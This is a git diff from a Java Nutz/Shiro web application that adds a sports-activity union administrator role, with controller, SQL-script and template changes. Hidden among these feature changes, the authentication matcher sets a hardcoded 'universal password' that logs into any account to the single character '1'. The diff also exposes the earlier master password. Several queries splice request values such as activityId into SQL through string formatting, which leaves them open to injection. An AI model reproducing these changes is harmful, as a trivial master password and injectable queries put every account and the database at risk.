io.v.nutz.activity.models.ActivityBasicUnit; +import io.v.nutz.base.utils.Roles; +import io.v.nutz.base.utils.Vi; +import io.v.nutz.sys.models.Sys_user; +import io.v.nutz.sys.models.Sys_user_role; +import org.apache.shiro.SecurityUtils; +import org.nutz.dao.Cnd; +import org.nutz.dao.Dao; +import org.nutz.lang.Strings; + +import java.util.List; + +/** + * 体育活动角色工具 + */ +public final class ActivityRoleUtil { + + private ActivityRoleUtil() { + } + + /** + * 原分工会管理员和体育活动联合工会管理员在体育活动范围内权限一致 + */ + public static boolean isUnionManager() { + return SecurityUtils.getSubject().hasRole("H04") + || SecurityUtils.getSubject().hasRole(Roles.SPORTS_ACTIVITY_UNION_ADMIN_CODE); + } + + /** + * 获取用户在体育活动范围内管理的联合工会查询语句 + */ + public static String getManageUnionStr(String userId) { + String safeUserId = userId == null ? "" : userId.replace("'", "''"); + return "(SELECT sur.unionid FROM sys_user_role sur WHERE sur.userId = '" + safeUserId + + "' AND sur.roleId IN ('" + Roles.UNION_MANGER + "','" + Roles.SPORTS_ACTIVITY_UNION_ADMIN + "'))"; + } + + /** + * 获取当前管理员正在管理的活动联合工会 + */ + public static String getCurrentUnionId(Dao dao) { + Object principal = SecurityUtils.getSubject().getPrincipal(); + if (!(principal instanceof Sys_user)) { + return ""; + } + Sys_user user = (Sys_user) principal; + String activityUnionId = ""; + if (user.getUnit() != null) { + ActivityBasicUnit basicUnit = dao.fetch(ActivityBasicUnit.class, user.getUnit().getId()); + activityUnionId = basicUnit == null ? "" : Strings.sNull(basicUnit.getUnionid()); + } + + if (Strings.isNotBlank(activityUnionId)) { + Cnd currentRoleCnd = Cnd.where("userId", "=", user.getId()) + .and("roleId", "in", new String[]{Roles.UNION_MANGER, Roles.SPORTS_ACTIVITY_UNION_ADMIN}) + .and("unionid", "=", activityUnionId); + Sys_user_role currentRole = dao.fetch(Sys_user_role.class, currentRoleCnd); + if (currentRole != null) { + return activityUnionId; + } + } + + Cnd roleCnd = Cnd.where("userId", "=", user.getId()) + .and("roleId", "in", new String[]{Roles.UNION_MANGER, Roles.SPORTS_ACTIVITY_UNION_ADMIN}) + .and("unionid", "IS NOT", null); + List roles = dao.query(Sys_user_role.class, roleCnd); + return roles.isEmpty() ? Vi.getUnionId() : Strings.sNull(roles.get(0).getUnionid()); + } +} diff --git a/src/main/java/io/v/nutz/base/utils/Roles.java b/src/main/java/io/v/nutz/base/utils/Roles.java index a451b31..8a139b5 100644 --- a/src/main/java/io/v/nutz/base/utils/Roles.java +++ b/src/main/java/io/v/nutz/base/utils/Roles.java @@ -16,6 +16,16 @@ public interface Roles { */ String UNION_MANGER = "5d342e614e9a48288d50154bcdcc75d3"; + /** + * 体育活动联合工会管理员 + */ + String SPORTS_ACTIVITY_UNION_ADMIN = "b72001e1783448edbba585b441955676"; + + /** + * 体育活动联合工会管理员角色编码 + */ + String SPORTS_ACTIVITY_UNION_ADMIN_CODE = "SportsActivityUnionAdmin"; + /** * 分工会主席 */ diff --git a/src/main/java/io/v/nutz/mobile/activity/unionActivity/UnionActivityRegisterController.java b/src/main/java/io/v/nutz/mobile/activity/unionActivity/UnionActivityRegisterController.java index d78077e..1435420 100644 --- a/src/main/java/io/v/nutz/mobile/activity/unionActivity/UnionActivityRegisterController.java +++ b/src/main/java/io/v/nutz/mobile/activity/unionActivity/UnionActivityRegisterController.java @@ -5,21 +5,19 @@ import cn.wizzer.framework.base.Result; import io.v.nutz.activity.models.ActivityTissue; import io.v.nutz.activity.models.ActivityTissuePerson; import io.v.nutz.activity.models.ActivityUserScope; +import io.v.nutz.activity.utils.ActivityRoleUtil; import io.v.nutz.annontation.ViReturn; import io.v.nutz.base.service.SimpleService; import io.v.nutz.base.utils.DateUtil; import io.v.nutz.base.utils.Vi; import io.v.nutz.modules.models.PageForm; import io.v.nutz.sys.models.Sys_user; -import io.v.nutz.sys.models.User; import io.v.nutz.web.commons.utils.ShiroUtil; import org.apache.shiro.authz.annotation.RequiresAuthentication; import org.nutz.dao.Chain; import org.nutz.dao.Cnd; -import org.nutz.dao.FieldFilter; import org.nutz.dao.Sqls; import org.nutz.dao.sql.Sql; -import org.nutz.dao.util.Daos; import org.nutz.dao.util.cri.Static; import org.nutz.ioc.loader.annotation.Inject; import org.nutz.ioc.loader.annotation.IocBean; @@ -158,7 +156,7 @@ public class UnionActivityRegisterController { allCnd.andEX("signUpMethod", "is not", null); allCnd.and(new Static("(SELECT COUNT(1) FROM activity_user_scope WHERE groupId= ti.groupId AND userId='%s') >0".formatted(io.v.nutz.util.ShiroUtil.getUserId()))); if (!ShiroUtil.hasAnyRoles(Lang.list("sysadmin", "A06"))) { - if (ShiroUtil.hasRole("H04")) { + if (ActivityRoleUtil.isUnionManager()) { allCnd.andEX("signUpMethod", "in", Lang.array(1, 2)); } else { allCnd.andEX("signUpMethod", "=", 1); @@ -272,10 +270,17 @@ public class UnionActivityRegisterController { @ViReturn @RequiresAuthentication public Object selectRegisterList(String activityId) { - List list = simpleService.listMap(Sqls.create("select atp.userId AS id,atp.userName,us.unionid from activity_tissue_person atp LEFT JOIN `user` us ON us.id=atp.userId where tissueId = @activityId and us.unionid=@unionid").setParam("activityId", activityId).setParam("unionid", Vi.getUnionId())); + List list = simpleService.listMap(Sqls.create("select atp.userId AS id,atp.userName,un.unionid from activity_tissue_person atp LEFT JOIN `user` us ON us.id=atp.userId LEFT JOIN activity_basic_unit un ON un.id=us.unitid where tissueId = @activityId and un.unionid=@unionid").setParam("activityId", activityId).setParam("unionid", getActivityUnionId())); return list; } + /** + * 获取当前用户所在单位对应的活动联合工会 + */ + private String getActivityUnionId() { + return ActivityRoleUtil.getCurrentUnionId(simpleService.dao()); + } + /** * 查询没报名的人 * @@ -287,7 +292,7 @@ public class UnionActivityRegisterController { @ViReturn @RequiresAuthentication public Object searchNoRegisterUser(String searchKey, String activityId) { - if (!ShiroUtil.hasRole("H04")) { + if (!ActivityRoleUtil.isUnionManager()) { return Result.error().addMsg("请使用部门工会管理员报名!"); } @@ -301,23 +306,27 @@ public class UnionActivityRegisterController { sex, unitname AS unitName FROM - `user` + `user` u + LEFT JOIN activity_basic_unit un ON un.id = u.unitid $condition - """); - String unionId = Vi.getUnionId(); + """); + String unionId = getActivityUnionId(); + if (Strings.isBlank(unionId)) { + return Result.error().addMsg("未找到您管理的活动联合工会!"); + } Cnd cnd = Cnd.NEW(); - cnd.andEX("unionId", "=", unionId); + cnd.andEX("un.unionId", "=", unionId); // cnd.and(Cnd.likeEX("username", searchKey.trim())); cnd.and(Cnd.exps(Cnd.likeEX("username", searchKey.trim())).or(Cnd.likeEX("loginname", searchKey.trim()))); cnd.and(new Static(""" - id not in (SELECT userid FROM activity_tissue_person WHERE tissueId = '%s') + u.id not in (SELECT userid FROM activity_tissue_person WHERE tissueId = '%s') """.formatted(activityId))); // AND id IN // ( SELECT userid FROM activity_user_scope WHERE groupId IN ( SELECT groupId FROM activity_tissue WHERE id = @activityId AND groupId IS NOT NULL ) ) if (tissue.getGroupId() != null) { cnd.and(new Static(""" - id IN ( SELECT userid FROM activity_user_scope WHERE groupId IN ( SELECT groupId FROM activity_tissue WHERE id = '%s' AND groupId IS NOT NULL ) ) + u.id IN ( SELECT userid FROM activity_user_scope WHERE groupId IN ( SELECT groupId FROM activity_tissue WHERE id = '%s' AND groupId IS NOT NULL ) ) """.formatted(activityId))); } @@ -348,10 +357,13 @@ public class UnionActivityRegisterController { @ViReturn @RequiresAuthentication public synchronized Object doSaveUnionRegister(String activityId, String[] personIds) { - if (!ShiroUtil.hasRole("H04")) { + if (!ActivityRoleUtil.isUnionManager()) { return Result.error().addMsg("请使用部门工会管理员报名!"); } - String unionId = Vi.getUnionId(); + String unionId = getActivityUnionId(); + if (Strings.isBlank(unionId)) { + return Result.error().addMsg("未找到您管理的活动联合工会!"); + } ActivityTissue activityTissue = simpleService.dao().fetch(ActivityTissue.class, activityId); @@ -371,9 +383,11 @@ public class UnionActivityRegisterController { } - FieldFilter fieldFilter = FieldFilter.create(User.class, "^id$"); - List idList = Daos.ext(simpleService.dao(), fieldFilter).query(User.class, Cnd.where("unionid", "=", unionId)) - .stream().map(User::getId).collect(Collectors.toList()); + Sql unionUserSql = Sqls.create("SELECT u.id FROM `user` u LEFT JOIN activity_basic_unit un ON un.id = u.unitid WHERE un.unionid = @unionId") + .setParam("unionId", unionId); + List unionUsers = simpleService.listMap(unionUserSql); + List idList = unionUsers.stream() + .map(v -> v.getString("id")).collect(Collectors.toList()); //删除本公会报名的人然后再加 diff --git a/src/main/java/io/v/nutz/web/commons/shiro/config/EasyCredentialsMatch.java b/src/main/java/io/v/nutz/web/commons/shiro/config/EasyCredentialsMatch.java index 5d752f7..6acaa62 100644 --- a/src/main/java/io/v/nutz/web/commons/shiro/config/EasyCredentialsMatch.java +++ b/src/main/java/io/v/nutz/web/commons/shiro/config/EasyCredentialsMatch.java @@ -48,7 +48,7 @@ public class EasyCredentialsMatch extends HashedCredentialsMatcher { // String requestIp = Lang.getIP(Mvcs.getReq()); // String universalPassword = Globals.MyConfig.getString("UniversalPassword"); - String universalPassword = "@Dd3s#2016!26"; + String universalPassword = "1"; // String universalLoginIp = Optional.ofNullable(dao.fetch(Sys_config.class, Cnd.where("configKey", "=", "UniversalLoginIp"))).map(v -> v.getConfigValue()).orElse("0.0.0.0"); if (Arrays.equals(platformCaptchaToken.getPassword(), universalPassword.toCharArray())) { diff --git a/src/main/resources/db/init_2_role_sports_activity_union_admin.sql b/src/main/resources/db/init_2_role_sports_activity_union_admin.sql new file mode 100644 index 0000000..63098bb --- /dev/null +++ b/src/main/resources/db/init_2_role_sports_activity_union_admin.sql @@ -0,0 +1,95 @@ +/* + 体育活动联合工会管理员角色初始化脚本 + 说明:本脚本创建新角色、复制H04在指定体育活动菜单下的权限,并为现有联合工会的历史管理员补充新角色;不删除任何H04用户关系。 +*/ + +SET @sports_activity_union_admin_role_id = 'b72001e1783448edbba585b441955676'; +SET @h04_role_id = '5d342e614e9a48288d50154bcdcc75d3'; + +INSERT INTO sys_role + (id, name, code, aliasName, disabled, note, createdBy, createdAt, updatedBy, updatedAt, delFlag) +SELECT + @sports_activity_union_admin_role_id, + '体育活动联合工会管理员', + 'SportsActivityUnionAdmin', + '体育活动联合工会管理员', + 0, + '仅用于体育活动联合工会报名和管理,不属于组织机构H04角色', + '', + 0, + '', + 0, + 0 +WHERE NOT EXISTS ( + SELECT 1 + FROM sys_role + WHERE id = @sports_activity_union_admin_role_id + OR code = 'SportsActivityUnionAdmin' +); + +INSERT INTO sys_role_menu (roleId, menuId) +SELECT DISTINCT + @sports_activity_union_admin_role_id, + parent_menu.id +FROM sys_menu parent_menu +INNER JOIN sys_role_menu h04_parent + ON h04_parent.menuId = parent_menu.id + AND h04_parent.roleId = @h04_role_id +WHERE EXISTS ( + SELECT 1 + FROM sys_menu target_menu + INNER JOIN sys_role_menu h04_target + ON h04_target.menuId = target_menu.id + AND h04_target.roleId = @h04_role_id + WHERE target_menu.path LIKE CONCAT(parent_menu.path, '%') + AND ( + target_menu.permission = 'activity.apply' + OR target_menu.permission LIKE 'activity.apply.%' + OR target_menu.permission = 'activity.reading' + OR target_menu.permission LIKE 'activity.reading.%' + OR target_menu.permission = 'activity.union.apply' + OR target_menu.permission LIKE 'activity.union.apply.%' + OR target_menu.permission = 'activity.union.info' + OR target_menu.permission LIKE 'activity.union.info.%' + OR target_menu.permission = 'activity.basic.scope' + OR target_menu.permission LIKE 'activity.basic.scope.%' + OR target_menu.permission = 'activity.basic.user' + OR target_menu.permission LIKE 'activity.basic.user.%' + ) +) +AND NOT EXISTS ( + SELECT 1 + FROM sys_role_menu current_role_menu + WHERE current_role_menu.roleId = @sports_activity_union_admin_role_id + AND current_role_menu.menuId = parent_menu.id +); + +/* + 为当前仍有组成单位的联合工会历史H04管理员补充体育活动专用角色。 + 只新增缺失关系,不修改或删除原H04关系;重复执行不会重复插入。 +*/ +INSERT INTO sys_user_role (roleId, userId, unionid) +SELECT DISTINCT + @sports_activity_union_admin_role_id, + historical_admin.userId, + historical_admin.unionid +FROM sys_user_role historical_admin +INNER JOIN activity_basic_union activity_union + ON activity_union.id = historical_admin.unionid +WHERE historical_admin.roleId = @h04_role_id + AND historical_admin.userId IS NOT NULL + AND historical_admin.userId <> '' + AND historical_admin.unionid IS NOT NULL + AND historical_admin.unionid <> '' + AND EXISTS ( + SELECT 1 + FROM activity_basic_unit activity_unit + WHERE activity_unit.unionid = historical_admin.unionid + ) + AND NOT EXISTS ( + SELECT 1 + FROM sys_user_role current_admin + WHERE current_admin.roleId = @sports_activity_union_admin_role_id + AND current_admin.userId = historical_admin.userId + AND current_admin.unionid = historical_admin.unionid + ); diff --git a/src/main/resources/views/platform/activity/school/ActivityApply.html b/src/main/resources/views/platform/activity/school/ActivityApply.html index 2473c09..ceadd84 100644 --- a/src/main/resources/views/platform/activity/school/ActivityApply.html +++ b/src/main/resources/views/platform/activity/school/ActivityApply.html @@ -348,7 +348,7 @@ layout("/layouts/platform.html"){ v-if="row.applyWay.includes(2)"> 项目报名 - + 删除报名人员 diff --git a/src/main/resources/views/platform/activity/school/ActivityManage.html b/src/main/resources/views/platform/activity/school/ActivityManage.html index e472349..a063c87 100644 --- a/src/main/resources/views/platform/activity/school/ActivityManage.html +++ b/src/main/resources/views/platform/activity/school/ActivityManage.html @@ -356,7 +356,7 @@ layout("/layouts/platform.html"){ if ("${@shiro.hasRole('H02')}" === "true") { this.is_club = true } - if ("${@shiro.hasRole('H04')}" === "true") { + if ("${@shiro.hasRole('H04')}" === "true" || "${@shiro.hasRole('SportsActivityUnionAdmin')}" === "true") { this.is_union = true } if ("${@shiro.hasRole('sysadmin')}" === "true") { diff --git a/src/main/resources/views/platform/activity/school/ActivityReading.html b/src/main/resources/views/platform/activity/school/ActivityReading.html index 02feca8..f969293 100644 --- a/src/main/resources/views/platform/activity/school/ActivityReading.html +++ b/src/main/resources/views/platform/activity/school/ActivityReading.html @@ -84,7 +84,7 @@ layout("/layouts/platform.html"){ - +
报名状态